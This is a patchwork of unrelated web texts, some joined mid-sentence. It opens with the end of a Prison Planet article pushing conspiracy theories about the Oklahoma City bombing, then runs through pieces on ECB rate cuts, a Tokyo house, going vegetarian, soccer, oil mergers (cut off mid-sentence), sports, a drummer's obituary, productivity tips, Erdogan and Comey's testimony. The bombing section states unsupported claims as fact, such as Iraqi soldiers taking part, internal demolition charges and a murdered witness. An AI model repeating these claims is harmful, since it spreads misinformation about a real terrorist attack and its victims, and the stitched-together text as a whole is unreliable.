– In early April 1995 a Ryder truck identical to the one used in the bombing was filmed by a pilot during an overflight of of an area near Camp Gruber-Braggs, Oklahoma. A June 17th, 1997 Washington Post article authenticates the photos as being exactly what they appear to be, photos of a Ryder truck in a clandestine base at Camp Gruber-Braggs. Why were the military in possession of a Ryder truck housed in a remote clandestine army base days before the Alfred P. Murrah bombing?
– In a 1993 letter to his sister, McVeigh claimed that he was approached by military intelligence and had joined an “elite squad of government paid assassins.” McVeigh often contradicted himself and changed his story on a whim to fit in with the latest government version of events. Is the Camp Grafton footage evidence of McVeigh’s enrollment in such a clandestine program?
– Multiple reports of Arabs at the scene assisting McVeigh were ignored and surveillance tapes were withheld under national security. The likely reason for this was the fact that Bush senior and Clinton were responsible for bringing in nearly 1,000 Iraqi soldiers captured by U.S. forces during the 1991 Persian Gulf War, some of whom were involved in the bombing.
– The FBI claimed McVeigh scouted the Alfred P. Murrah building weeks before the bombing and yet on the morning of the attack he stopped at a local gas station to ask directions, lending credibility to the new claims that he was being controlled by other conspirators and that the target of the bombing had been changed.
– Original reports of two explosions and several failed devices being defused by bomb squads were buried by the establishment as the official explanation that McVeigh acted alone was pushed. Scientific analysis conducted by General Benton K. Partin revealed core columns were blown out from within the building and the extensive damage to the Alfred P. Murrah building was completely inconsistent with the explanation of a single and relatively weak fertilizer truck bomb.
– Many eyewitnesses reported that bomb squads in full Hazmat gear were seen around the building immediately before the blast. Police officer Terence Yeakey, who helped save dozens of victims, was one such witness. Yeakey compiled extensive files on his observations but was later found with his throat and wrists slashed having also been shot in the head after he told friends he was being followed by the authorities.
– Several individuals received prior warning that the bombing was about to take place. Bruce Shaw, who rushed to the Murrah building to find his wife who was employed there with the Federal Credit Union, testified that an ATF agent told him that ATF staff had been warned on their pagers not to come to work that day.
– The aftermath of the bombing led to the passage of the Omnibus Crime Bill and the demonization of the ‘Patriot Movement’, which was spreading like wildfire as opposition to federal government abuse grew following the events at Ruby Ridge and Waco. The consequences of the Oklahoma City Bombing effectively dismantled the Patriot Movement before the turn of the century.
Political operatives have repeatedly stated that the only thing that will rescue Barack Obama’s tenure in the White House is another OKC-style bombing that Obama can blame on his political enemies.
*********************
Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a fill-in host for The Alex Jones Show. Watson has been interviewed by many publications and radio shows, including Vanity Fair and Coast to Coast AM, America’s most listened to late night talk show.
This article was posted: Tuesday, February 8, 2011 at 11:19 am
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Comment on this articleThe European Central Bank unveiled a bold package of measures to boost the economy Thursday, including rate cuts and cheap loans for businesses.
Worried that very low inflation could snuff out Europe's weak recovery and tip the economy into a downward spiral, the ECB cut its main interest rate to a record low of 0.15%.
The central bank also took a step into the unknown by cutting its deposit rate from zero into negative territory -- the first move of its kind by a major central bank.
That means the ECB will now charge banks for deposits they stash with the central bank. In theory, that will provide an incentive to lend the money to firms and consumers instead.
The ECB also announced a series of steps to pump more cheap money into the eurozone. They include a series of new long term loans to banks aimed at boosting lending to businesses, and together could be worth almost 600 billion euros, according to Berenberg economists.
Europe relies heavily on thousands of small and medium sized companies, many of which lack access to other sources of finance.
ECB President Mario Draghi and other officials have spent the past month talking up the likelihood of action, and the moves were widely anticipated.
The central bank stopped short, as expected, of introducing broad based asset purchases along the lines of the quantitative easing program pursued by the U.S. Federal Reserve, but Draghi made clear that option was still on the table.
"Are we finished? The answer is no, if need be... we're not finished yet," he told reporters.
Draghi said the ECB still saw no evidence of eurozone deflation but said the longer inflation remained at very low levels, the greater the risks.
Consumer prices rose by just 0.5% in the eurozone in May. The ECB targets inflation of just below 2% over the medium term, and on Thursday cut its own forecasts for the next three years. It sees consumer price inflation of just 1.4% in 2016.
Related: How much do you need to be happy?
Very low inflation can be as damaging to an economy as excessive price increases.
If households and businesses expect inflation to stay depressed for a long period, they may postpone spending and investment, triggering a downward spiral and raising the risk of outright deflation.
It also makes it harder for countries to pay off debts, and forces weak European economies to make real cuts to wages to compete with countries like Germany.
One of the factors driving down inflation has been the strong euro, which makes imports cheaper.
The euro had fallen 2% against the dollar over the past month in expectation of ECB action, bringing some relief to European exporters and potentially easing the downward pressure on prices.
The euro slipped further Thursday. European stocks rose -- Germany's DAX broke above 10,000 points for the first time -- and bonds in weaker eurozone economies such as France, Italy and Greece gained ground.
"[Draghi] is doing everything short of full QE to support the economy, and that will be reflected in stronger asset prices generally," said Kit Juckes at Societe Generale.
But it will take much longer for the stimulus package to work through to the real economy. Draghi said it could be 9-12 months before the impact will be seen.Takeshi Hosaka Architects have designed the RoomRoom house in Tokyo, Japan.
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Description from the architects:
This is a house where deaf parents and two children are living.
The two sides of the premises are facing narrow roads in an overcrowded residential area in Itabashi ward, Tokyo. The small main building built five years ago became so narrow for dwellers for three generations that they bought a piece of land neighber to their house to build an annex.
The house consists of two small rooms at the first floor, one big room in the second floor and the roof. It is two stories with box shape construction with many small openings only 200 mm squares randomly installed on the walls, floors and the roof. The openings of 200 mm square on the floor are used as atriums or as practical openings for communications between the first and the second floors. Communications are done through this small opening verbally between children with hearing capability and communications between parents without hearing capability and children with hearing capability are done by sign language. Children sometimes call their parents’ attention by dropping a small minicar. The openings on the walls are useful to take air and light from outside and in addition, they are used as a communication tool between a small garden and indoor. In the same way, the openings between the rooftop and the second floor and between the rooftop and the first floor not only work to take light from outside but also help communication of sign language. And also, the tree set up in the first floor is sticking out to the second floor passing through four or five 200 mm square openings. From this, the 200 mm openings become a conduit for human beings, plant, wind and light and human being communications to extend the inside and outside of the house in length and breadth in all directions.
It is possible to converse with sign language if we don’t have hearing capability. Communications by sign language easily pierce through the window which separates the inside and the outside of the house. The small 200 mm square openings are installed at various places like the floor, roof, and wall and children with hearing capability, parents without hearing capability look very free and vivid and plants, light and wind are dynamically circulating from inside to outside.So it’s been more than three months since I’ve turned vegetarian. I figured the one month mark wouldn’t do it justice, so I held on for a bit before starting on this post.
The first thing that you’d probably ask—especially if you’ve known me—is why? Why succumb yourself to such torture? Have you found a new religion? Are you a PETA member now?
Well the truth is that it originated as an idea to go meatless for a week. Most of the climbers I knew had diets cleaner than Singapore’s city streets, and some of said climbers were vegetarian. Even my athletic idols like Alex Honnold, Steph Davis, and Scott Jurek didn’t eat meat, so I decided to give it a go, and I never went back.
Now that you know why I made the change, let’s get on to what I’ve learned during this journey.
1. It’s really not that bad
I’m not kidding. You’d think that vegetarianism is a death sentence, judging from the looks on my friends’ faces whenever I share my abstinence from meat. Some of them reel back in horror, mouths stuck in perpetual abysses, while the rest succumb to a dramatic ‘why?!’
And I don’t even mean ‘why’ as in ‘a word to elicit more information’. It’s mostly along the lines of ‘you’ve been sleeping with my wife’ or ‘you just murdered my first-born’.
But it’s not that different from a normal diet, really. I never had any cravings, nor did my taste-buds go on strike from the diet of vegetables and fruits. Frankly, I don’t even know what people are freaking out about.
2. But it’s not that good either
Honestly, with all the hype surrounding the meatless diet, I was expecting nothing short of superpowers. That didn’t happen. They said that you’d also smell better, help preserve the environment, and become a saviour of animals. Nope.
Weight loss, more energy, and spiritual enlightenment? Nope.
Vegetarianism is not a silver bullet. It doesn’t magically cure diseases. It’s just a meatless diet, and that’s all there is to it. I still wear leather shoes and I haven’t developed X-ray vision. And according to my friends, I still stink (though I’m not sure if they meant it literally or figuratively).
Also, vegetarianism does not equate health, because a diet of Maggi and beer is technically vegetarian after all. I’m looking at you, Jenn.
It’s like meditation. While its benefits are proven, most of the time it’s just boring and uneventful.
3. There are going to be haters
I sometimes regret telling people that I’m vegetarian, because people really enjoy telling you how to live your life. They take it upon themselves to lead the strayed sheep back onto the rightful path, launching into a spiel of how humans were made to eat meat, and how people are committing culinary sin by not partaking.
Then there are those who actually take slight, convinced that vegetarians are slowly conquering the world, one fruit salad at a time. “You know,” an acquaintance said over her stick of cigarette. “If you guys love animals so much, why are you stealing their food?”
Ha. Ha.
But the hate doesn’t come from meat eaters alone. Vegans think I’m cruel because I still consume animal products like eggs and milk. ‘Enlightened’ people think I’m doing it for the wrong reasons, and that I’m just jumping on the vegetarian bandwagon. Clean-eating vegetarians balk at my choice of Maggi and beer (yeah it’s not just Jenn).
So if there’s anything you take away from this article, make sure it’s this: know what you want in life, then do it. You’ll have haters either way. You could aspire to following Mother Teresa’s footsteps and there’ll still be people rooting against you. Don’t let those people define who you are as a person, and don’t let them tell you what to do with your life.
Sometimes I get people waving meat in my face, in an attempt to ‘tempt’ the vegetarian. I have no idea why this is a thing, because you can’t tempt someone with what they don’t want in the first place.
The weird thing about my diet is that I don’t have a strong stance behind it. I’m not set out to convert meat eaters, nor am I a nutritional nitpicker. I don’t even know why I’ve stuck to it for so long. Maybe it’s because by taking a non-absolute approach, I ended up with a stronger resolute than my other do-or-die goals (exercise and write every day or wallow in the throes of shame).
So what about you, dear reader? Should you give this vegetarian thingie a try? Well I can tell you from this side of the fence that there isn’t much to see here. But of course, if you’ve learned anything, you’ll know not to let me tell you what to do with your life.
#
My typical diet
When I first started, I was curious to see how other people ate, so here’s a quick run-down in case you guys feel the same. Do note that you need to possess a certain ratchet-ness to eat like this:
Breakfast – Oats and berries
Snack – Fruits, usually oranges and apples
Lunch – Mixed rice, usually with two vegetables and an egg
Snack – More fruits! Bananas and whatever else I scrounged from the fridge
Dinner – Vegetarian fried rice (or noodles, purchased from eateries)
Snack – A few spoons of Greek yoghurtFor the past week, North Carolina FC and Carolina Courage have participated in LGBTQ pride festivities ranging from wearing rainbow colored Pride shirts in promotional marketing campaigns, to players bartending at Legends Nightclub and London Bridge Pub. Also, for those wanting to keep the party going, there will be an after-game party at Legends Nightclub at 10pm — bring your game ticket for a cover charge discount!
Getting back on track to Saturday’s soccer match, North Carolina FC will be hoping that revenge will be as sweet as freshly brewed Carolina sweet tea. Last weekend, NCFC traveled to Indiana, and suffered a painfully ill-afforded loss, slipping down the Spring standings to fifth place, and handing Indy Eleven their first victory of the Spring season.
To be perfectly fair to NCFC, they were coming off of a 120-minute loss against MLS’s Houston Dynamo in the U.S. Open Cup only a few days prior. Emotionally and physically drained, NCFC had little left in the tank against Indy, but still managed to battle hard against the Eleven until the fat lady victory of Indy Eleven sung her triumphant tune.
After a week removed from North Carolina FC’s loss, what has NCFC learned, and what should fans expect to see on Saturday? It is important to point out that Indy Eleven played their strongest line-up of all season last week, and it took a little NCFC misfortune and tired NCFC legs for Indy to squeak out a late victory. Essentially, a depleted NCFC squad almost drew Indy on the road until running out of steam… so with proper rest and an edge of motivational revenge, NCFC should come out in better form and compete at a higher level this weekend.
After seeing Indy Eleven at their best, it was clear last week that Indy’s offense runs through Justin Braun’s physical play up front, which is complemented by a dynamic midfield playing wide to create space for Braun. Also, do not discount Indy Eleven’s size, which consistently gives them an advantage on corners and set pieces close to goal.
In NCFC’s loss, the Oaks were exploited in the midfield with a high volume of out-of-sync passes. The likely reason for this was a few stop-gap players filling roles of starters who needed the rest after the U.S. Open Cup. Brian Shriver, who has played limited minutes this season, has mostly split time as a late game sub with a much-improved Billy Schuler from last season. Last week, Shriver got the starting nod, and was slotted to play behind Matt Fondy, but ended up being a black hole on NCFC’s offensive game.
No one will ever question Shriver’s work ethic on the pitch, or what he has meant to the team historically, but unable to find touches in his attacking central midfield position, Shriver often drifted to the wings, only to mis-time runs and passes from Naz Albadawi and Austin Da Luz.
Another glaring weakness that will likely be rectified this weekend is reinforcing the lack of a physical defensive presence. Suring up the defensive strength should be a combination of James Marcelin returning to his defensive midfield position as well as Conner Tobin returning to his central defensive position. Both players have not only provided a spark through their spirited physicality, but both have fortuitously found the back of the net with memorable (and honestly unexpected) goals.
North Carolina FC cannot afford to drop another three points, especially at home, if they want to have momentum going into the Fall season. For the most part, NCFC has been quite formidable at WakeMed, only losing to the San Francisco Deltas and the New York Cosmos (both top four teams).
This week, when Pride has been highly celebrated, is the perfect time for North Carolina FC and their loyal fans to Rise Up and give Indy Eleven all they have. With revenge on their minds, and having a more match ready squad, anything but three points for NCFC will be an unexpected failure.
Prediction: NCFC 3, Indy Eleven 0The continuing swoon in crude oil prices combined with a rapidly advancing crunch in energy debt has once again ushered in expectations of a merger and acquisition (M&A) cycle among oil companies.
The first indication that such a cycle is underway came a week ago… in Australia.
One of that country’s leading oil producers proposed a merger with another in what would be one of the largest energy M&A deals ever seen “Down Under.” Woodside Petroleum Ltd. (OTC:WOPEY) announced an all-stock deal valued at more than US$8 billion (A$11.64 billion) for Oil Search Ltd. (OTC:OISHY). The merger would create one of the dominant players in the Australian market. Oil Search initially rebuffed Woodside’s offer but talks continue.
Before the dust settles, we are going to be seeing a lot more of these moves. So far, interest has centered on the American oil sector. But the Woodside-Oil Search development makes it abundantly clear that the next M&A wave is going to have a far more expansive impact.
Here’s what that means for the oil industry… and how we’ll profit from it…
Why the Oil Industry is Consolidating
Now, this M&A wave should hardly catch us by surprise. After all, we’ve amply discussed this topic in past issues of Oil & Energy Investor. Through the first week of this month, the global dollar amount of deals reached $321 billion, a total that eclipses the previous record of $228 billion set for the entire year of 2010 and more than twice the amount during the same period in 2014.
The huge Royal Dutch Shell plc (NYSE:RDS-A) move on British giant BG Group plc (OTC:BRGYY) along with the Halliburton Co. (NYSE:HAL) acquisition of Baker Hughes Inc. (NYSE:BHI) certainly grabbed the headlines.
Of the total, the bulk has been in the U.S, with almost half of the dollar amount thus far this year centered there.
For some, the current climate is reminiscent of the 1990s, when huge mergers occurred putting together the likes of BP plc (NYSE:BP), Arco and Amoco, Chevron (NYSE:CVX) and Texaco, Exxon and Mobil.
But this time it is going to be the total volume of smaller deals that will provide the real texture of this unfolding shakeout. It has all the earmarks of one of those sector changing events that only hits every other decade or so.
That does make it more difficult for “asset shoppers” to decide what to buy, since it requires a greater sophistication in reading the smaller imprints of companies that tend to operate only in certain locales or basins. Nonetheless, many billions of dollars have been assembled by hedge funds and similar players in anticipation of a fire sale mentality building up. They are just not quite comfortable moving beyond the main deals.
In the U.S., for example, anything much below the $3.7 billion acquisition of Rosetta Stone Inc. (NYSE:RST) by Noble Energy Inc. (NYSE:NBL) is a difficult read for analysts with experience largely in other market segments. The problem often comes down to understanding the rationale in advance of the M&A market move.
For some, such as Woodside or Shell, the decision has been to grow larger in an attempt to wrestle enhanced market position. Shell, for example, fully intends to challenge Exxon Mobil Corp. (NYSE:XOM) as the largest non-state held oil and gas producer in the world.
For Halliburton, on the other hand, the acquisition of rival Baker Hughes is the latest indication that vertical integration is continuing in the oil field services (OFS) space. There, Halliburton and Schlumberger Ltd. (NYSE:SLB) continue to compete in parallel attempts at stringing together components spanning from equipment manufacturers, through rig providers, to well completion and field services in “one-stop shopping” assemblages intended to restrict competition in all but the most specialized of OFS provisions.
The specific objective of an M&A, therefore, may vary from deal to deal but the overall goal remains the same: to streamline participation in advance of sector stabilization and the inevitable rise in raw material prices. That still makes for difficult handicapping for those not versed in the oil patch.
Why the M&A Cycle is Strongest in the U.S.
Through all of what is unfolding, there is one overriding factor that dwarfs all others, and it is one that is animating the quickly developing situation in the U.S.
Most operating companies, especially smaller ones, have been cash poor for some time now. Put simply, this means they bring in less revenue from the sale of production than it costs to run E&P (exploration and production).
In a market where prices are regularly in excess of $65 a barrel, this is of little consequence. Companies can simply roll over debt and reserve cash on hand for other purposes (e.g., stock buy backs, dividends, warrants and options).
However, with oil prices hard-pressed to stay above $40 a barrel, this financing tactic is simply not viable now. Companies in distress can’t afford the interest being carried on new debt, even if they can find it. Energy debt occupies the top stratum of “high yield” issuances (better, and less affectionately, known as “junk bonds”).
As the price of oil remains inordinately low, the interest charged increases. Companies are forced to sell (or acquire) debt while providing a significant discount in proceeds at exorbitant yields. As we move into the final quarter of the year, there is no company in this situation I am aware of that is able to run debt at less than 14%… if they can find it.
Assuming there is no meteoric increase in crude oil prices over the very short term, the hammer is about to fall – and it will fall hard.
That’s because before the end of October, banks will be adjusting their loan portfolios and they won’t look kindly on the diminished revenue and asset value of oil companies. As the weakness inherent in energy debt becomes more pronounced, fewer companies will be able to prolong the agony and one of three results will take place:
First, some oil companies will begin selling attractive assets ( |
often, never with schmaltz but always out of disarming gratitude—for getting to play this sport for a living, and for loyalty of all his devotees in blue-and-white. I can’t claim to have been the most loyal of them, but I’m very here now, and I’ll cheer his resurgence in 2017 (so long as he doesn’t run into Fed). - Giri Nathan
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Nate Diaz Beating Conor McGregor’s Ass
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There’s no cockier, shit-talking-er, brasher, or more self-assuredly transcendent athlete working today than Conor McGregor. The Irishman is a legitimate superstar, the biggest in the history of the UFC, and he carries himself like he’s God’s gift to us, the peasant mortals who were lucky enough to be born in the same era as him. He throws shit at his opponents and preens in the cage over their prone bodies after he punches them out. All of which is to say, nobody in sports deserved to get the shit kicked out of them more than Conor motherfucking McGregor. And nobody could have been a better deliveryman of that beatdown than the 209's very own, Nate Diaz.
Diaz is every bit as confident as McGregor, but he carries himself completely differently. McGregor wants to rule the world; Diaz just wants to put Stockton on the map. The fight came shortly after McGregor had just won the featherweight championship in just 13 seconds, but instead of turning into another speedbump on McGregor’s path to glory, a hamburger-faced Diaz choked him out and ended up the only one to win against the UFC’s new demigod in 2016 as he ascended to his spot atop the sport. - Patrick RedfordPhoto by Anthony Pidgeon/Redferns
Andrew Loomis, a member of Dead Moon for 28 years (pictured left), has died, the Portland Mercury reports. Last year, he stopped touring after being diagnosed with lymphoma in his neck. A GoFundMe page was set up to help cover the cost of treatment. Pierced Arrows, the group led by Dead Moon's Fred and Toody Cole, confirmed the news on Twitter.
Fred, a garage rock stalwart, formed Dead Moon with bassist Toody and drummer Loomis in 1987. In 1988, they released debut single "Parchment Farm," the first of a string of home recordings on their Tombstone Records imprint. In 1990, Hans Kestaloo signed them to German label Music Maniac after being introduced by the Wipers' Greg Sage. He also flew them over to tour Europe, where they found a significant fan base.
Throughout the '90s, Dead Moon were beloved staples of the Pacific Northwest music scene, releasing a flood of music on labels including Sub Pop, Tombstone, and eMpTy, as well as Music Maniac and Sympathy for the Record Industry. In 2006, the year they split, a documentary was released on the trio, Unknown Passage: The Dead Moon Story.
The group reunited in 2014 and 2015 following Fred Cole's open heart surgery. During Dead Moon's down periods, Loomis also drummed in the Shiny Things. Writing on Dead Moon's fan page on Facebook, Loomis's companion Neva Knott wrote that he "passed peacefully with his brothers, sister, Ruby Ann Swaner Whitfield, and me with him."I wanted to help you create explosive productivity so you get big things done (and make your life matter).
Here are 21 tips to get you to your best productivity.
#1. Check email in the afternoon so you protect the peak energy hours of your mornings for your best work.
#2. Stop waiting for perfect conditions to launch a great project. Immediate action fuels a positive feedback loop that drives even more action.
#3. Remember that big, brave goals release energy. So set them clearly and then revisit them every morning for 5 minutes.
#4. Mess creates stress (I learned this from tennis icon Andre Agassi who said he wouldn’t let anyone touch his tennis bag because if it got disorganized, he’d get distracted). So clean out the clutter in your office to get more done.
#5. Sell your TV. You’re just watching other people get successful versus doing the things that will get you to your dreams.
#6. Say goodbye to the energy vampires in your life (the negative souls who steal your enthusiasm).
#7. Run routines. When I studied the creative lives of massively productive people like Stephen King, John Grisham and Thomas Edison, I discovered they follow strict daily routines. (i.e., when they would get up, when they would start work, when they would exercise and when they would relax). Peak productivity’s not about luck. It’s about devotion.
#8. Get up at 5 am. Win the battle of the bed. Put mind over mattress. This habit alone will strengthen your willpower so it serves you more dutifully in the key areas of your life.
#9. Don’t do so many meetings. (I’ve trained the employees of our FORTUNE 500 clients on exactly how to do this – including having the few meetings they now do standing up – and it’s created breakthrough results for them).
#10. Don’t say yes to every request. Most of us have a deep need to be liked. That translates into us saying yes to everything – which is the end of your elite productivity.
#11. Outsource everything you can’t be BIW (Best in the World) at. Focus only on activities within what I call “Your Picasso Zone”.
#12. Stop multi-tasking. New research confirms that all the distractions invading our lives are rewiring the way our brains work (and drop our IQ by 5 points!). Be one of the rare-air few who develops the mental and physical discipline to have a mono-maniacal focus on one thing for many hours. (It’s all about practice).
#13. Get fit like Madonna. Getting to your absolute best physical condition will create explosive energy, renew your focus and multiply your creativity.
#14. Workout 2X a day. This is just one of the little-known productivity tactics that I’ll walk you through in my new online training program YOUR PRODUCTIVITY UNLEASHED (details at the end of this post) but here’s the key: exercise is one of the greatest productivity tools in the world. So do 20 minutes first thing in the morning and then another workout around 6 or 7 pm to set you up for wow in the evening.
#15. Drink more water. When you’re dehydrated, you’ll have far less energy. And get less done.
#16. Work in 90 minute blocks with 10 minute intervals to recover and refuel (another game-changing move I personally use to do my best work).
#17. Write a Stop Doing List. Every productive person obsessively sets To Do Lists. But those who play at world-class also record what they commit to stop doing. Steve Jobs said that what made Apple Apple was not so much what they chose to build but all the projects they chose to ignore.
#18. Use your commute time. If you’re commuting 30 minutes each way every day – get this: at the end of a year, you’ve spent 6 weeks of 8 hour days in your car. I encourage you to use that time to listen to fantastic books on audio + excellent podcasts and valuable learning programs. Remember, the fastest way to double your income is to triple your rate of learning.
#19. Be a contrarian. Why buy your groceries at the time the store is busiest? Why go to movies on the most popular nights? Why hit the gym when the gym’s completely full? Do things at off-peak hours and you’ll save so many of them.
#20. Get things right the first time. Most people are wildly distracted these days. And so they make mistakes. To unleash your productivity, become one of the special performers who have the mindset of doing what it takes to get it flawless first. This saves you days of having to fix problems.
#21. Get lost. Don’t be so available to everyone. I often spend hours at a time in the cafeteria of a university close to our headquarters. I turn off my devices and think, create, plan and write. Zero interruptions. Pure focus. Massive results.
I truly hope these 21 productivity tips have been valuable to you. And that I’ve been of service. Your productivity is your life made visible. Please protect it.
Stay productive.
P.S. I’m so excited to share that – after YEARS of requests – I’ve finally created a premium productivity program with my advanced strategies to get your most important goals done fast. It’s on sale at a very special price right now, but only UNTIL THIS TUESDAY AT MIDNIGHT so I strongly encourage you to get yours right now: http://www.robinsharma.com/yourproductivityunleashed‘One day my mortal body will turn to dust, but the Turkish Republic will stand forever,’ said Mustafa Kemal Ataturk, the founder of the modern nation. As such he is rewarded a special place in Turkish history as the ‘father of the Turks’. Indeed this is what Ataturk, the surname he was given by the people, means. And it’s impossible to be in Turkey without seeing his image wherever you go. His face adorns the currency, both paper and coinage, it’s engraved on plaques, printed on flags, statues celebrating the man are too numerous to count, there is even a shop in Istanbul which has one item on its inventory, gold laminated Ataturk masks. The man is an icon to Turks. He is Turkey and Turkey is him. But for how much longer?
Ataturk’s vision was to reform the crumbling ruins of the former Ottoman Empire into a western-orientated, secular nation-state that embraced democracy and science over ‘superstition’. Much of his vision was realised. Turkey has become a powerful player on the world stage, it has had free and fair elections, it is a country of innovation. But it is also a country which appears to be diverting onto a new path. One much more familiar to the Ottoman Empire Ataturk so despised.
The new self-styling father of the nation is the one forging that course and he couldn’t be more at odds with Ataturk if he tried. For President Recep Tayyip Erdogan is a man with a vision of a state that has religion at its core, while democracy is being unpicked at the hem and it seems nobody can stop him. Since the botched 15 July coup he also appears to have the support of a wide-spectrum of political and public will to do as he so wishes. The State of Emergency legislation passed in the aftermath enshrines that in law. The balance of power has been tipped and poured firmly in his direction, something Erdogan has desired for years.
His party, the ruling AKP, has been in power since 2002. When formed it styled itself as pro-western. It embraced a liberal market economy and hinted loudly to the European Union that it desired membership for Turkey. Under its hegemony the country has had an economic growth-spurt, and it has spread its financial tentacles around the globe. On the face of it, AKP has been good — if not great — for Turkey economically. Sadly, that may be the only positive.
Human rights organisations have repeatedly criticised Turkey. Since the failed-coup there is even more concern. Tens of thousands of people have been suspended or sacked from their jobs, detained, arrested and had their passports cancelled. Suspects can now be held for up to 30 days without charge, and many have had confessions beaten out of them. Meanwhile the President hosts drinks receptions (non-alcoholic of course) for the leaders of two of the opposition parties, where they all pander to his every whim. With the exception of the People’s Democratic Party (HDP) there is no vocal opposition. They too may soon be voiceless.
Erodgan wants the Presidency to have executive powers, as in the USA, yet to do so needed a two-thirds majority in Parliament. He had hoped following elections in June 2015 that this would be achievable, but the HDP put a chink in his armour gaining seats for the first time. Suddenly his dream looked like it was slipping and we had a first glimpse of how ruthless Erdogan is. Military operations against the Kurdistan Workers Party, the PKK, which the government says is directly linked to the HDP, became more pronounced and a ceasefire in place since 2013, unraveled. Attacks, blamed by the government on the PKK spurred a demand for fresh, more conclusive elections. This time around AKP managed to scrape a majority. Still not enough though for those executive powers to be passed without support, which just wasn’t there.
Next terrorism was re-defined. Journalists suddenly found themselves wondering what that meant. Could they too be accused for simply calling into question government policy? Yes, as it turned out. Newspapers which had been critical of Erdogan were taken-over, academics were arrested and finally legislation that gave MPs legal immunity was removed. Pro-Kurdish MPs (the HDP) could now face trial, an easy way of removing them and replacing them with more government friendly faces. Then all of Erdogan’s cards fell into place on the night of 15 July.
An attempted coup was ‘thwarted by the people’. The man urging them to lead the charge was Erdogan – via FaceTime. How very modern. ‘Take to the streets every night,’ he demanded of them. They did and people power ‘quashed the coup’. Rallies transformed into parties, flags turned cities into a sea of red and the country channeled the spirit of Gallipoli in 1915; the year a soldier by the name of Mustafa Kemal, began his rise to prominence.
The Gallipoli campaign is known by the West as Winston Churchill’s World War disaster and for the volume of its casualties. In Turkey, it’s the battle they won under the leadership of Mustafa Kemal and it sowed the seeds for a new chapter in Turkish history. Emotion is a mighty power; Erdogan knows this. The idea of Ataturk, as he later became, stirs the soul of every Turkish person I have ever met.
At rallies across the country images of that victory have been played out on giant screens. Erdogan has peppered his speeches with references to Ataturk. He has unashamedly suggested that defeating the coup is like ‘their Gallipoli’, sparking a frenzy of devotion to the President he had only previously seen from his own ranks.
What is even more noticeable is how alongside images of Ataturk, there are now those of Erdogan. The coup has enabled him to make his biggest play yet, removing the idea of Ataturk as the nation’s sole father. By doing this, he can harness that emotion and claim all he does is for the Turkish nation, his children. He can eradicate the western-orientated vision for Turkey, turning instead East, towards an Islamic Republic, where his heart truly lies. Ataturk was right about one thing, his body has turned to dust, but so to have the foundations of his Republic.
Rose Asani is a journalist based in IstanbulIf the former F.B.I. director James Comey’s testimony to the Senate Intelligence Committee is to be believed, one of the driving factors that led Donald Trump to fire Comey was the F.B.I. chief’s reluctance to publicly state that the President was not a subject of the Russia investigation. But is he now? While the Justice Department and Robert Mueller, the special counsel, have not commented on whether they are investigating Trump, several former federal prosecutors told me that if he’s not yet, he soon will be—or at least should be.
Trump was seized with this issue. In their first meeting, at Trump Tower, on January 6th, when Comey briefed Trump on an unverified dossier claiming that Russian intelligence had recorded Trump cavorting with prostitutes in Moscow, Comey assured the President-elect that the F.B.I. “did not have an open counter-intelligence case on him,” according to Comey’s written testimony. At their dinner at the White House, three weeks later, during which Trump allegedly asked Comey to pledge his loyalty to him, the President returned to the stories about Russian hookers, which he denied, and raised the idea that perhaps Comey could investigate the matter and clear him of any wrongdoing. Comey told Trump that it was a bad idea. “I replied that he should give that careful thought because it might create a narrative that we were investigating him personally, which we weren’t,” Comey said in his testimony.
Seven weeks later, on March 20th, Comey testified before the House Intelligence Committee, and refused to confirm or deny publicly whether Trump was personally being investigated. Trump clearly became irritated by Comey’s coyness. On March 30th, Trump called Comey to tell him, according to Comey, that the Russia investigation was “ ‘a cloud’ that was impairing his ability to act on behalf of the country.” Comey tried to mollify Trump by reminding him again that he was not under investigation and explaining that he had privately informed congressional leaders of that fact. Trump fixated on that comment. “We need to get that fact out,” he said, according to Comey, who further reported that Trump, twice more in their conversation, returned to the issue of getting that information out. “I told him I would see what we could do,” Comey said. Two weeks later, on April 11th, with little action taken by Comey on communicating the fact that Trump wasn’t under investigation, the President called Comey to complain. It was their last conversation before Trump fired Comey, on May 9th.
In his letter announcing Comey’s dismissal, Trump made a point of advertising these conversations with Comey, noting, “I greatly appreciate you informing me, on three separate occasions, that I am not under investigation.” When Comey went public, last week, with his account of his interactions with Trump, the President’s defenders pounced on the fact that Comey corroborated Trump’s claim. “The President feels completely and totally vindicated,” Marc Kasowitz, Trump’s personal lawyer, said. “He is eager to continue to move forward with his agenda."
The irony in all of this is that Trump’s actions may very likely have caused him to personally come under investigation.
Former prosecutors who have served in both Republican and Democratic Administrations told me that an obstruction-of-justice case against Trump is a no-brainer. “Comey's testimony in a grand jury would be enough to get an indictment,” Julie O’Sullivan, who was part of the team that investigated Whitewater, the Clinton land deal that attracted a special prosecutor in the early nineties, said. To O’Sullivan, Comey’s detailed account of the Oval Office meeting in which Trump cleared the room and then told Comey to let go of the investigation of Michael Flynn, whom Trump had fired, the previous day, was especially damning because it showed that Trump knew that what he was doing was wrong.
“For a prosecutor, this attempt to hide the conversation, all antenna are going up,” O’Sullivan told me. “That tells you that he has a consciousness that what he’s about to do is wrong. It’s like having a bonfire with documents in the back yard. It's wonderful. Seriously, this is the best thing ever for a prosecutor.”
To be sure, there is some disagreement among former prosecutors. “I think it is very reckless for any former prosecutor to say an obstruction-of-justice case can or can’t be made based on one witness’s testimony,” Matthew Whitaker, a former U.S. Attorney who was appointed by President George W. Bush, and who ran as a Republican Senate candidate in Iowa, in 2014, said. “That makes me queasy. I’m shocked that so many former prosecutors are convicting the President of that crime.” But, among former prosecutors, Whitaker appears to be in the minority.
There is some public evidence that Mueller is taking the obstruction accusation seriously. He asked for and received all the memos that Comey wrote memorializing Comey’s interactions with Trump. Why would Mueller need those unless he was looking into possible obstruction?
When will we actually know if Trump is, indeed, under investigation by Mueller? Two events could trigger a public announcement. Rod Rosenstein, the Deputy Attorney General, talked to Trump shortly before Trump fired Comey. Rosenstein later appointed Mueller as the independent counsel, and Mueller reports to him. But, given Rosenstein’s role in Comey’s dismissal, he may end up being a witness in any obstruction investigation and would therefore have to recuse himself from that part of the inquiry, a fact that would likely be made public. At a Senate hearing on Tuesday, when Rosenstein was asked if was possible that he was a witness in Mueller’s probe, he responded, “I’m not going to be talking about the investigation.” When asked if being a witness would represent a conflict of interest, he replied, “I’m not going to answer hypothetical questions,” but he said that he and “career professionals” would “defend the integrity of that investigation.”
